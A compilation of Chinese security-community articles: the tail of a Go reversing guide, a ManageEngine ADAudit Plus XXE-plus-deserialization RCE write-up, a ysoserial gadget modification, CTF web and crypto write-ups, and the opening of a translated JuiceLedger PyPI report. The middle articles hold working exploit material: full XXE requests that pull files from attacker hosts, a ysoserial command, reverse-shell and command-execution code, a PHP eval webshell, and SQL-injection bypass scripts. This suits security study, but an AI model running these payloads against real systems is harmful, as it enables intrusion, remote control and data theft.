根据定义两个方法都没有参数，但是从汇编看它们都有参数，如注释，在逆向时是更常见的是像PPrint这种方法，即第一个参数是对象的指针。
#### 5.函数反射
函数在普通使用和反射使用时，被保存的信息不相同，普通使用不需要保存函数签名，而反射会保存，更利于分析，如下代码：
//go:noinline
func Func1(b string, a int) bool {
return a < len(b)
}
//go:noinline
func Func2(a int, b string) bool {
return a < len(b)
}
func main(){
fmt.Println(Func1("233", 2))
v := reflect.ValueOf(Func2)
fmt.Println(v.Kind()==reflect.Func)
}
编译后通过字符串搜索，可定位到被反射的函数签名（当然在逆向中并不知道应该搜什么，而是在函数周围寻找签名）：
而普通函数的签名无法被搜到：
### Ⅲ. 伸缩栈
由于go可以拥有大量的协程，若使用固定大小的栈将会造成内存空间浪费，因此它使用伸缩栈，初始时一个普通协程只分配几KB的栈，并在函数执行前先判断栈空间是否足够，若不够则通过一些方式扩展栈，这在汇编上的表现形式如下：
在调用runtime·morestack*函数扩展栈后会重新进入函数并进入左侧分支，因此在分析时直接忽略右侧分支即可。
### Ⅳ. 调用约定
Go统一通过栈传递参数和返回值，这些空间由调用者维护，返回值内存会在调用前选择性的被初始化，而参数传递是从左到右顺序，在内存中从下到上写入栈，因此看到mov
[rsp + 0xXX + var_XX], reg(栈顶)时就代表开始为函数调用准备参数了，继续向下就能确定函数的参数个数及内容：
如图，mov [rsp+108h+v_108],
rdx即表示开始向栈上传第一个参数了，从此处到call指令前都是传参，此处可见在汇编层面传了3个参数，其中第2个和第3个参数为Go语言里的第二个参数，call指令之后为返回值，不过可能存在返回值未使用的情况，因此返回值的个数和含义需要从函数内部分析，比如此处的Query我们已知arg_0/arg_8/arg_10为参数，那么剩下的arg18/arg20即为返回值：
需要注意的是不能仅靠函数头部就断定参数个数，例如当参数为一个结构体时，可能头部的argX只代表了其首位的地址，因此需要具体分析函数retn指令前的指令来确定返回值大小。
### Ⅴ. 写屏障
Go拥有垃圾回收，其三色标记法使用了写屏障的方法保证一致性，在垃圾收集过程中会将写屏障标志置位，此时会进入另一条逻辑，但是我们在逆向分析过程中可以认为该位未置位而直接分析无保护的情况：
如上图，先判断标志，再决定是否进入，在分析时可以直接认为其永假并走左侧分支。
### Ⅵ. 协程 go
使用go关键词可以创建并运行协程，它在汇编上会被表现为由runtime_newproc(fn,args?)，它会封装函数与参数并创建协程执行信息，并在适当时候被执行，如：
这里执行了go
loop()，由于没有参数此处newproc只被传入了函数指针这一个参数，否则会传入继续传入函数所需的参数，在分析时直接将函数作为在新的线程里执行即可。
### Ⅶ. 延迟执行 defer
延迟执行一般用于资源释放，它会先注册到链表中并在当前调用栈返回前执行所有链表中注册的函数，在汇编层面会表现为runtime_deferproc，例如常见的锁释放操作：
这里它第一个参数代表延迟函数参数字节大小为8字节，第二个参数为函数指针，第三个参数为延迟执行函数的参数，若创建失败会直接返回，返回前会调用runtime_deferreturn去执行其他创建的延迟执行函数，一般我们是不需要关注该语句的，因此可以直接跳过相关指令并向左侧继续分析。
### Ⅷ. 调用c库 cgo
Go可以调用C代码，但调用C会存在运行时不一致，Go统一将C调用看作系统调用来处理调度等问题，另一方类型不一致才是我们需要关注的重点，为了解决类型与命名空间等问题cgo会为C生成桩代码来桥接Go，于是这类函数在Go语言侧表现为XXX_CFunc
**YYY，它封装参数并调用runtime_cgocall转换状态，在中间表示为NNN_cgo_abcdef123456_CFunc**
ZZZ，这里它解包参数并调用实际c函数，例如：
此处它调用了libc的void _realloc(void_ ,
newsize)，在Go侧它封装成了os_user__Cfunc_realloc，在该函数内部参数被封装成了结构体并作为指针与函数指针一起被传入了cgocall，而函数指针即_cgo_3298b262a8f6_Cfunc_realloc为中间层负责解包参数等并调用真正的C函数：
### Ⅸ. 其他
还有些内容，如看到以panic开头的分支不分析等不再演示，分析时遇到不认识的三方库函数和标准库函数直接看源码即可。
## 四、参考链接
1. <https://draveness.me/golang/>
2. <https://tiancaiamao.gitbooks.io/>
3. <https://tiancaiamao.gitbooks.io/go-internals/content/zh/02.3.html>
4. <https://www.pnfsoftware.com/blog/analyzing-golang-executables/>
5. <https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/>
6. <https://research.swtch.com/interfaces>
* * * | 社区文章 |
太累了，老外三天发俩洞，学不过来了。
# 环境搭建
<https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe>
需要搭建一个域环境，直接把安装adaudit的机器提升为域控就行。
# 分析
这个洞用了两个点串起来成了一个rce，分别是xxe和一个readObject的点。
## Cewolf readObject
readObject是steventseeley挖掘的Cewolf反序列化，ADAudit仍然有这个servlet，并且init参数为FileStorage。
de.laures.cewolf.storage.FileStorage#getChartImage 这个地方存在readObject
详细的不讲了，看steventseeley在 <https://srcincite.io/advisories/src-2020-0011/>
中提到的poc就懂了。
这个利用点需要在目标机器上上传一个序列化的payload，然后通过`../`跨目录触发。在下面的xxe中会串起来利用。
## xxe
xxe来自比较常规的DocumentBuilderFactory类
在com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent中
来自于eventTbl参数的`Task Content`或者`Task New Content`键值会造成xxe。
然后找路由触发点。
先来看web.xml
`/api/agent`对应`com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequest`
跟入`com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest`
通过正则匹配拿到对应的handler为`com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData`
在receiveData中通过读body取json，body取不到就从header中拿json，然后转成一个json数组jsonEventArray。接着如果是有效的json
交由`com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify`消息队列处理。
notify只负责向eventQueue中加事件，真正处理队列消息的地方在其子类`com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run`中
在这里需要关注一点，如果原始data中DomainName等于null，那么DomainDnsName也会等于null。
这个地方是个大坑，如果没有给对正确的域环境的域名，那么在下一步就不会触发漏洞，接着看。
通过重组modData，最终交由`com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process`处理。
process函数会获取domainName对应的键值来迭代，最终调用addEventRows，如果你的传参DomainName为空，那么这个地方进入不了迭代循环，就触发不了漏洞。
跟进addEventRows
addEventRows会根据传入的CategoryId参数来获取不同的Listener，然后分发进入getEventRowList函数。
其中listener有很多，id为11的时候刚好是ProcessTrackingListener
接着走进`com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow`
parseTaskContent到xxe的点
## 串联
有了xxe之后，需要了解一个jdk的老版本xxe trick。
这是2013年的议题
<https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf>
在这个议题中提到，通过xxe我们可以上传文件和列举目录，[jdk8u131之后的修复commit在这里](https://github.com/openjdk/jdk8u-dev/commit/644ddd7722bea502f029378c22d51b6eb66f8c25)
可以使用这个ftp服务器来使文件驻留到目标服务器中。
<https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java>
监听
发请求包
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM \"jar:http://172.16.16.1:2122/upload.jar!/file.txt\"> ]><foo>&ssrf;</foo>"
}
]
此时文件被驻留在用户的临时目录下，我的用户是administrator，所以在`C:/Users/Administrator/AppData/Local/Temp/`目录下
接着用[这个项目](https://github.com/LandGrey/xxe-ftp-server)来列目录，监听之后发请求包
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json
[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///C:/Users/Administrator/AppData/Local/Temp/\"> <!ENTITY % dtd SYSTEM \"http://192.168.1.207:9090/data.dtd\"> %dtd;]><data>&send;</data>"
}
]
我们的url.txt就被传到了jar_cache9091707163659467742.tmp这个文件。
接下来就是触发反序列化的
http://172.16.16.132:8081/cewolf/a.png?img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp
gadget可以用cb192
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"
最后就是国际惯例
# 一些问题
1. 如何获取DomainName
2. c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中administrator怎么判断？
第一个问题目前没啥解决办法，不过登录的时候可以获取到一部分的域名
第二个问题可以用笨方法先列举`C:\Users\`所有用户，然后列举用户的temp目录，或者直接Responder抓到当前用户名
sudo python3 Responder.py -I ens160
# 修复
注释了CewolfServlet
修了xxe
加了guid校验 | 社区文章 |
### 0x01 前言
最近在研究某XXXC的一个servlet反序列化漏洞时发现,第一版payload前期使用HashMap控制其filename和path,多余的post流直接作为文件填充的内容.随后查看了补丁,发现了其并未修复反序列化漏洞,只是对filename和path做了些检查和控制.而剩下的反序列化问题依然存在,随即找到了CommonsCollections6这条gadget可以使用.但对于一个性格色彩带有黄色属性(完美主义者)的我来说,这条gadget只能执行个单命令并不完美.
### 0x02 改造前的分析
既然不完美,那么就亲自操刀来改造一下.
首先来看看chain.
java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
可以看出这条gagdet会反射使用Runtime的相关方法来执行OS命令.
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, cmd),
new ConstantTransformer(1)};
如果使用Runtime势必只能执行单命令,执行复杂命令只能使用在线的Runtime编码接口,编码为base64,而Win系统得借助powershell,但实战遇到的机器为2003时不在少数,2003的机器并无powershell.且写文件的操作也会非常复杂.我花了一段时间以后,发现可以反射使用`javax.script.ScriptEngineManager`来实现我的想法.
### 0x03 JDK内置的JS引擎
科普一下`javax.script.ScriptEngineManager`.这个类在jdk中可以用以执行一些脚本语言,例如比较流行的有JavaScript、Scala、JRuby、Jython和Groovy等.而JavaSE6中自带了`JavaScript`语言的脚本引擎,基于Mozilla的Rhino实现,可以通过三种方式查找脚本引擎:
* 1.通过脚本名称获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
* 2.通过MIME类型来获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
* 3.通过MIME类型来获取：
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");
#### 示例：
例如我们要和js混编打印一个HelloWord：
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("println('Hello Word');");
当然反射的写法如下：
Class clazz = Class.forName("javax.script.ScriptEngineManager");
Object manager = clazz.getDeclaredConstructor().newInstance();
Method getEngineByName = clazz.getDeclaredMethod("getEngineByName", String.class);
Object scriptEngine = getEngineByName.invoke(manager,"JavaScript");
Method eval = scriptEngine.getClass().getMethod("eval",String.class);
eval.invoke(scriptEngine,"println('Hello Word');");
#### 注意事项:
由于是和js混编,所以要充分注意js的一些语法和Java语法的区别
* 1.变量命名
js是弱类型的语言,所有变量使用var即可,且不需要声明类型也不支持类型转换.
例如 String a 和 int b需要写为var a 和 var b.
* 2.异常捕捉
异常不用声明类型
例如
try {
var a;
}
catch (e){
}
### 0x04 开始改造
了解了特性以后,开始我们的改造计划.我们唯一需要大改的地方就是我们的Transformer.我们修改为如下：
String[] execArgs = new String[]{cmd};
Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class),
new InvokerTransformer("newInstance", new Class[0], new Object[0]),
new InvokerTransformer("getEngineByName", new Class[]{String.class},
new Object[]{"JavaScript"}), new InvokerTransformer("eval",
new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
可以看到一切功能由cmd控制.
我增加支持了四种功能.
* 1.代码注入
我们可以注入我们自己的代码.
假如用户命令以CodeFile:开头,只需要将要注入的js代码放入文件中即可
if (command.startsWith("CodeFile:")) {
File codeFile = new File(command.substring(9));
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new FileReader(codeFile));
String s = null;
while((s = br.readLine()) != null) {
result.append(s + "\n");
}
br.close();
} catch (Exception var20) {
var20.printStackTrace();
}
cmd = result.toString();
System.err.println("----------------------------------Java codefile start----------------------------------");
System.err.println(cmd);
System.err.println("-----------------------------------Java codefile end-----------------------------------");
}
例如CodeFile:1.java, 1.java内容如下：
var a;
java.lang.Thread.sleep(3000);
* 2.延迟注入：
我们可以使用线程阻塞来做到延迟注入,判断是否存在漏洞,就算是机器不出网依然可以判断.
if (command.startsWith("sleep-check-")) {
long i = Integer.parseInt(command.split("[-]")[2]) * 1000;
cmd = String.format("java.lang.Thread.sleep(%s);",i);
}
假如用户命令以sleep-check-开头,例如sleep-check-10,则延迟10s,用户可以通过查看response时间来判断是否存在漏洞.
* 3.shell反弹：
我们除了使用原生反弹以外,其实Java中内置`java.net.Socket`可以反弹shell.由于jdk是跨平台的,所以无关机器类型,2003的机器依然可以借助该api而不用借助powershell反弹shell.
if (command.toLowerCase(Locale.ENGLISH).startsWith("connectback:")) {
if (command.split(":").length != 3) {
throw new IllegalArgumentException("Connect back command format is connectback:<host>:<port> (got " + command + ")");
}
String host = null;
host = command.split(":")[1];
int port = 0;
try {
port = Integer.parseInt(command.split(":")[2]);
} catch (NumberFormatException var14) {
throw new IllegalArgumentException("Invalid port specified for connect back command (" + command.split(":")[2] + ")");
}
if (port < 1 || port > 65535) {
throw new IllegalArgumentException("Invalid port specified for connect back command (" + port + ")");
}
cmd = String.format("var host = \"%s\";\n" +
"var port = %d;\n" +
"var p;\n" +
"var os = java.lang.System.getProperty(\"os.name\").toLowerCase(java.util.Locale.ENGLISH);\n" +
"if(os.contains(\"win\")){\n" +
" p = new java.lang.ProcessBuilder(\"cmd\").redirectErrorStream(true).start();\n" +
" }else{\n" +
" p = new java.lang.ProcessBuilder(\"sh\").redirectErrorStream(true).start();\n" +
" }\n" +
"var s = new java.net.Socket(host,port);\n" +
"var pi = p.getInputStream(),pe = p.getErrorStream(),si = s.getInputStream();\n" +
"var po = p.getOutputStream(),so = s.getOutputStream();\n" +
"while(!s.isClosed()) {\n" +
"while(pi.available()>0) {\n" +
"so.write(pi.read());\n" +
"}\n" +
"while(pe.available()>0) {\n" +
"so.write(pe.read());\n" +
"}\n" +
"while(si.available()>0) {\n" +
"po.write(si.read());\n" +
"}\n" +
"so.flush();\n" +
"po.flush();\n" +
"java.lang.Thread.sleep(50);\n" +
"try {\n" +
"p.exitValue();\n" +
"break;\n" +
"}\n" +
"catch (e){\n" +
"}\n" +
"};\n" +
"p.destroy();\n" +
"s.close();",host,port);
}
例如反弹回127.0.0.1的80端口,则为connectback:127.0.0.1:80.
* 4.原始命令执行：
这个就是普通的命令执行,自动判断os类型以后加入os底层.
cmd = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\nvar cmd = new java.lang.String(\"" + command + "\");\n" + "var listCmd = new java.util.ArrayList();\n" + "var p = new java.lang.ProcessBuilder();\n" + " if(isWin){\n" + " p.command(\"cmd.exe\", \"/c\", cmd);\n" + " }else{\n" + " p.command(\"sh\", \"-c\", cmd);\n" + " }\n" + "p.redirectErrorStream(true);\n" + "var process = p.start();";
### 0x05 改造完成
新建一个`ysoserial.payloads.CommonsCollections12`打包进ysoserial以后即可.
* 1.代码注入测试
* 2.延迟注入测试
* 3.反弹shell测试
* 4.普通命令执行
### 0x06 后面的话
感谢Bearcat、Ntears、cafebabe提供相关模块的实现思路. | 社区文章 |
# 2018安恒杯11月赛-Web&Crypto题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
今天比赛繁多，在打xnuca的闲暇，做了下安恒月赛，以下是Web和Crypto的解题记录
## 签到旧题-手速要快
拿到题目后，发现要输入一个Password
在header里发现密码
输入后发现来到上传页面
发现可以上传成功
并且可以被解析为php
于是getflag
## ezsql
打开页面，发现只有注册，登录功能，然后就是个人信息页面
http://101.71.29.5:10024/user/user.php?id=5
随手测试了一下，发现存在sql注入
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)
但这里的过滤很坑,首先没有引号，其次是过滤没有回显，我无法通过
if(length('a'),1,2)
这样的方式去识别过滤，这是我觉得比较头疼的问题
后来在随便测试的时候发现
if(hex(database())like(0x25),1,2)
回显正常，随即觉得应该有戏，但是由于过滤太多，依次尝试，发现可以load_file
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
尝试读了一下/etc/passwd
发现成功，于是想到读/var/www/html/index.php
然后得到文件内容
<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
然后读/var/www/html/config.php
得到文件内容
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
发现是一波反序列化的操作，注意到函数
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
以及
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
发现可控值，跟踪SetFilter
发现
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
发现可进行RCE的位置，于是尝试构造
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));
发现成功列目录，但是在尝试读取flag的时候出现问题
首先flag2333是个目录，然后/和空格被过滤，我们列出当前文件夹下所有文件
这里使用$IFS进行绕过空格
得到文件名，依旧无法cat，因为没有/，尝试通配符?，发现也被过滤
最后想到grep，如下图
即可无需目录名getflag
## interesting web
拿到题目发现
需要我们成为管理员，因为普通用户没有用
发现3个功能：注册，登录，找回密码
那么应该是用这3个功能更改管理员密码没错了
我们尝试找回密码
由于目标是flask框架，session是存在cookie里的，我们注意到session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk
解一下
可以得到token
随机成功更改管理员密码
然后先到tar，不难想到软链接，我们构造
ln -s /etc/passwd 222222.jpg
tar cvfp 1.tar 222222.jpg
上传1.tar，即可得到flag
## 好黑的黑名单
拿到题目，f12发现
http://101.71.29.5:10041/show.php?id=1
于是尝试注入，有了前面的经验，直接尝试
http://101.71.29.5:10041/show.php?id=if(1,1,2)
http://101.71.29.5:10041/show.php?id=if(0,1,2)
并且发现过滤时
报错时
即可得到题目的4种特征
尝试
if((database())like(0x25),1,2)
发现like被过滤，于是尝试regexp
if((database)regexp(0x5e),1,2)
fuzz了一下，发现可以得到数据库名为
web
于是写脚本进行注入
尝试爆表
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
这里遇到问题，=被过滤，like也被过滤
于是想到
in(database())
但是这里还有坑，需要这样绕过
in%0a(database())
同时
information_schema.TABLES
被过滤，需要如下绕过
information_schema%0a.%0aTABLES
绕过后，即可得到两张表
admin,flaggg
相同的方式尝试爆字段
id,f1agg
最后进行flag的提取时出现问题，题目不知道为什么，当regexp匹配数字的时候，就会出现数据库错误，即
所以只能得到flag{
这一点非常头疼，在这里卡了1个小时后，想到使用between，例如
根据之前的经验，flag均为md5
于是想到从0~f进行遍历
脚本如下
# -*- coding:utf-8 -*- import requests
import string
flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
print i
for j in range(len(list)):
tmp1 = payload+'2f'
tmp2 = payload+list[j].encode('hex')
url = 'http://101.71.29.5:10041/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
r = requests.get(url)
if '郑州烩面的价钱为10' in r.content:
payload += list[j-1].encode('hex')
print payload.decode('hex')
break
得到flag
flag{5d6352163c30ba51f1e2c0dd08622428}
## image_up
http://101.71.29.5:10043/index.php?page=login
拿到题目发现是个登录页面，且有文件读取的风险，我们尝试读取文件
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>
随手尝试admin admin，发现登录成功，再读upload的源码
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败！";
}
}else{
$error = "文件过大，上传失败！";
}
}
?>
发现文件上传，这里不难想到组合拳：lfi+upload
我们只要上传一个内容带有一句话木马的jpg，再包含即可getshell
但这里有一个难点
$path = "uploads/".md5($temp[0].time()).".".$extension;
我们需要提前预测time()
刚开始我以为这是一道简单的time预测，但发现多次尝试多线程爆破，都无法预测到文件名
后来看到提示
想到是不是时区的问题，尝试time+8h
time()+8*3600
随机可以预测到图片，但是新的问题来了，我们保护图片发现并没有成功，猜想是否强行拼接了.php，于是读index
<?php
if(isset($_GET['page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
header("Location: index.php?page=login");
}
发现强行拼接了.php，于是想到新的方法
zip://
走zip协议即可
创建一个sky.php的文件，内容为
<?php
@eval($_POST[sky]);
然后压缩为sky.zip，改后缀名为sky.jpg
预测文件名后上传
访问路径
http://101.71.29.5:10043/index.php?page=zip://uploads/ddf1dcc4b533d1631d81a0c58a1b3bdb.jpg%23sky
即可菜刀连接
## 好简单的密码2
nc进题目
➜ ~ nc 101.71.29.5 10048
only admin can get flag!
Menu:
1) login
2) info
3) edit
4) flag
发现有4个功能，查看了一下
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47
plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030
3
new iv(must_be_16_bytes_long):
235d5e78277087a9cb82b8ea0ca94a47
new cipher:
4721f1a3f57ed3d6fcad72461fa54815f0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946
发现info，是告诉你iv,c,m，而edit是更改iv和c
瞬间想到cbc翻转攻击
尝试登陆1dmin
1
Please input your username
1dmin
login success
查看此时的信息
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47
plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030
进行c的构造
cipher = ord(cipher[0]) ^ ord(‘1’) ^ ord(‘a’)
然后修改c
3
new iv(must_be_16_bytes_long):
235d5e78277087a9cb82b8ea0ca94a47
new cipher:
1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
此时再看个人信息
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
plain:dfdd2d9e4cb84a95a2dd3fcfc9e8627761646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393435372e3332363233317d303030303030
发现明文出现乱码
那么通过iv恢复第一个Block
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex')
want = "{'username__': '"
first_16 = ''
iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex')
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
print newiv.encode('hex')
然后去再修改新的iv
3
new iv(must_be_16_bytes_long):
87a706950ebaa35d043ad87ae27b0817
new cipher:
1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
即可getflag
Menu:
1) login
2) info
3) edit
4) flag
4
only admin can get flag
username :admin
flag{cce8a1ec51ac432c774d0198e388b034}
脚本如下
from Crypto.Cipher import AES
import base64
# iv='235d5e78277087a9cb82b8ea0ca94a47'
# cipher='4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946'
# plain='7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035383631322e3136303935367d303030303030'
# m = plain.decode('hex')
# # for i in range(0,len(m),16):
# # print m[i:i+16]
# print cipher.encode('hex')
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex')
print plain
want = "{'username__': '"
first_16 = ''
iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex')
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
print newiv.encode('hex')
## 仿射
拿到题目，提示b=7，以及一串密码
achjbnpdfherebjsw
我们知道仿射密码为
a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可
代码如下：
import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
flag = ''
for k in string:
flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
print flag | 社区文章 |
**作者：AMITAI BEN SHUSHAN EHRLICH
译者：知道创宇404实验室翻译组
原文链接：<https://www.sentinelone.com/labs/pypi-phishing-campaign-juiceledger-threat-actor-pivots-from-fake-apps-to-supply-chain-attacks/>**
## 执行摘要
1.JuiceLedger是一个相对新的黑客，专注于通过名为“JuiceStealer”的.NET程序集窃取信息。
2.JuiceLedger在短短6个月多的时间里迅速将其攻击链从欺诈应用程序演变为供应链攻击。
3.8月，JuiceLedger对PyPI贡献者进行了网络钓鱼活动，并成功入侵了多个合法软件包。
4.已识别出数百个提供JuiceStealer恶意软件的仿冒包。
5.至少有两个下载总量接近70万的软件包遭到入侵。
6.PyPI表示，已知的恶意软件包和仿冒域名现已被删除。
## 概述
SentinelLabs与[Checkmarx](https://checkmarx.com/blog/first-known-phishing-attack-against-pypi-users/)合作，一直在跟踪被称为“JuiceLedger”的黑客的活动和演变。2022年初，JuiceLedger开始开展相对低调的活动，使用“JuiceStealer”传播欺诈性Python安装程序应用程序，该`.NET`应用程序旨在从受害者的浏览器中窃取敏感数据。2022年8月，黑客投毒开源软件包，以通过供应链攻击将更广泛的受众锁定为信息窃取者，大大提高了该组织构成的威胁级别。
JuiceLedger运营商在网络钓鱼活动中积极针对PyPi包贡献者，成功地用恶意软件毒化了至少两个合法包。已知还有数百个恶意程序包被误码。
在这篇文章中，我们详细介绍了JuiceLedger的演变，描述了该组织的攻击向量和活动，并提供了对JuiceStealer有效负载的分析。
## 双管齐下的攻击—虚假应用和供应链攻击
对[PyPi包贡献者](https://twitter.com/pypi/status/1562442188285308929)的供应链攻击似乎是今年早些时候开始的活动的升级，该活动最初通过虚假的加密货币交易应用程序针对潜在受害者，其中一个机器人被称为“AI加密货币交易机器人”，名为“特斯拉交易机器人”。
今年8月，对PyPI的攻击涉及一个更为复杂的攻击链，包括向PyPI开发人员发送的网络钓鱼电子邮件、域名仿冒以及旨在用JuiceStealer恶意软件感染下游用户的恶意程序包。该向量似乎与早期的JuiceLedger感染方法并行使用，因为类似的有效载荷大约在同一时间通过假加密货币分类帐网站交付。
## 针对PyPI贡献者
